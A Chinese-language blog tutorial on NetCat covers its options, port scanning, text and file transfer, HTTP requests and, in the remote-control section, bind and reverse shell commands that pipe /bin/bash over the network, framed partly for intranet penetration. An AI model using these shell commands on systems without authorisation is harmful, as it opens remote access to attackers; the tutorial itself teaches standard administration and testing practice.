瑞士军刀---NetCat使用手册

NetCat简介
NetCat(nc)是一款强大的命令行网络工具,以体积小功能灵活而著称,被安全界与运维誉为瑞士军刀。最初由一位叫做”霍比特人”的网友Hobbit于 1995 年在 UNIX 上以源代码的形式发布,现在有GNU版和OpenBSD两个版本,其中只有后者在还在维护。两者在功能上有一些差别,例如OpenBSD版没有通过-e参数远端执行的功能。同时NetCat也有一些改进版本,例如集成进了Nmap的Ncat(21世纪的瑞士军刀)。NetCat的不足之处在于他是明文传输且缺乏身份验证功能,而Ncat可以通过–allow指定允许连接的机器,通过–ssl参数进行数据的加密。而无论是Ncat还是NetCat,他们的基本功能都有:
- telnet / 获取系统 banner 信息
- 传输文本信息
- 传输文件和目录
- 加密传输文件
- 端口扫描
- 远程控制 / 正向 shell
- 流媒体服务器
- 远程克隆硬盘
其在各大发行版中均默认安装,且功能齐全而强大,在内网渗透中有重要的作用
NetCat使用说明
常用参数
- -l :开启监听
- -p :指定端口
- -t :以telnet形式应答
- -e :程序重定向
- -n :以数字形式表示ip
- -v :显示执行命令过程
- -z : 不进行交互,直接显示结果
- -u :使用UDP协议传输
- -w : 设置超时时间
可以使用-h获取更全面的参数列表与说明如下
命令 | 释义 |
---|---|
-G: | <网关>:设置路由器跃程通信网关,最多设置8个; |
-h: | 在线帮助; |
-i: | <延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口; |
-l: | 使用监听模式,监控传入的资料; |
-n: | 直接使用ip地址,而不通过域名服务器; |
-o: | <输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存; |
-p: | <通信端口>:设置本地主机使用的通信端口; |
-r: | 指定源端口和目的端口都进行随机的选择; |
-s: | <来源位址>:设置本地主机送出数据包的IP地址; |
-u: | 使用UDP传输协议; |
-v: | 显示指令执行过程; |
-w: | <超时秒数>:设置等待连线的时间; |
-z: | 使用0输入/输出模式,只在扫描通信端口时使用。 |
NetCat常见用法
端口测试
公网上的端口扫描往往使用Nmap,但是内网渗透时跳板主机上未必有Nmap这样的工具。这时NetCat体积小不易被发现方便传输的特性使得它成为了不二之选。我们在使用nc时常常跟上v和n两个参数,前者会列出执行过程的详细信息,后者可以只使用ip地址避免dns解析从而节省时间提高效率。初次以外,NetCat可以使用z参数使用非交互式的方式运行,即不进行io交互直接执行命令
在进行端口扫描时,我们常使用 nc -nvz [ip] [port] 命令,port可以写成一个范围,例如
1 | nc -nvz 182.168.1.77 1-100 # 意为ping目标ip的1-100号端口 |
z参数默认使用tcp类型,可以加上新参数u使用udp扫描
信息传输
在跳板(ip为192.168.1.77)上使用
1 | nc -l -p 8080 #监听8080端口 TCP协议 |
然后在我们的主机上
1 | nc 192.168.1.77 8080 #使用TCP协议连接 |
这样我们就可以在两台主机间实现会话了。这也是运维测试安全组策略或者iptable策略时常使用的方法。当然我们的目的不仅限于此。在电子取证的时候,为了不破坏现场而又需要提取出大量信息和文件分析时,可以将NetCat与管道配合使用,将一端的输出结果输出到另一端
Server(192.168.1.77)
1 | nc -l -p 7777 |
Client(以ls -l为例)
1 | ls -l | nc -nv 192.168.1.77 |
当然Sever端也可以讲内容定向输出到文件中如
1 | nc -l -p 7777 > ls.txt |
Client(以ls -l为例)
1 | ls -l | nc -nv 192.168.1.77 |
文件传输
在进行上一种使用方法时,不难发现我们可以配合重定向实现文件传输的效果.例如
Server(192.168.1.77)
1 | nc -l -p 8080 > image.jpg |
Client
1 | nc 192.168.1.77 8080 < image.jpg |
你当然也可以把一整个目录压缩打包的方式传输目录。在传输时,也可以配合pv命令准确地测量带宽吞吐量地大小
远程控制
NetCat同样还能实现正反向Shell的效果,即把信息传输与文件传输改为传输shell即可
正向Shell
Server(192.168.1.77 )
1 | nc -l -p 8080 -e /bin/bash |
Client
1 | nc 192.168.1.77 8080 |
反向Shell
Client
1 | nc -nv 192.168.1.77 8080 -e /bin/bash |
Server(192.168.1.77 )
1 | nc -l -p 8080 |
如果使用的时OpenBSD版本的Netcat,即在没有-e命令的情况下,我们可以与管道或重定向配合实现同样的效果
1 | nc -l -p 8080 | /bin/bash |
模拟应用层协议
例如我们希望使用NetCat发送HTTP请求,我们可以配合管道以非交互式的方式发送hTTP请求
1 | echo -e "GET /anything HTTP/1.0\r\nHost: httpbin.org\r\n\r\n" | nc httpbin.org 80 |
或者使用标准输入以交互式的方式发送HTTP请求,以一个简单的Get请求为例
1 | nc httpbin.org 80 |
:P
NetCat正是这么一款通过命令行直接操作tcp/udp进行监听、连接与数据传输的工具。NetCat的能力并不止于此,我们大可自己实现一款NetCat,并尝试加入一些流量混淆,加密解密以及权限控制的额外功能。还可以实现一个NetCat的Demo。NetCat能干的事情还有很多,例如配合播放器实现流媒体功能,配合一些脚本之类的程序实现一个服务器例如http服务器或者代理服务器等等。每一位富有Geek精神的人都是NetCat绝活哥,我会将自己想到的有意思的NetCat用法或者扩展不断地更新到这篇博客中
- Title: 瑞士军刀---NetCat使用手册
- Author: 7erry
- Created at : 2023-07-21 00:00:00
- Updated at : 2023-07-21 00:00:00
- Link: http://7erry.com/2023/07/21/瑞士军刀-NetCat使用手册/
- License: This work is licensed under CC BY-NC 4.0.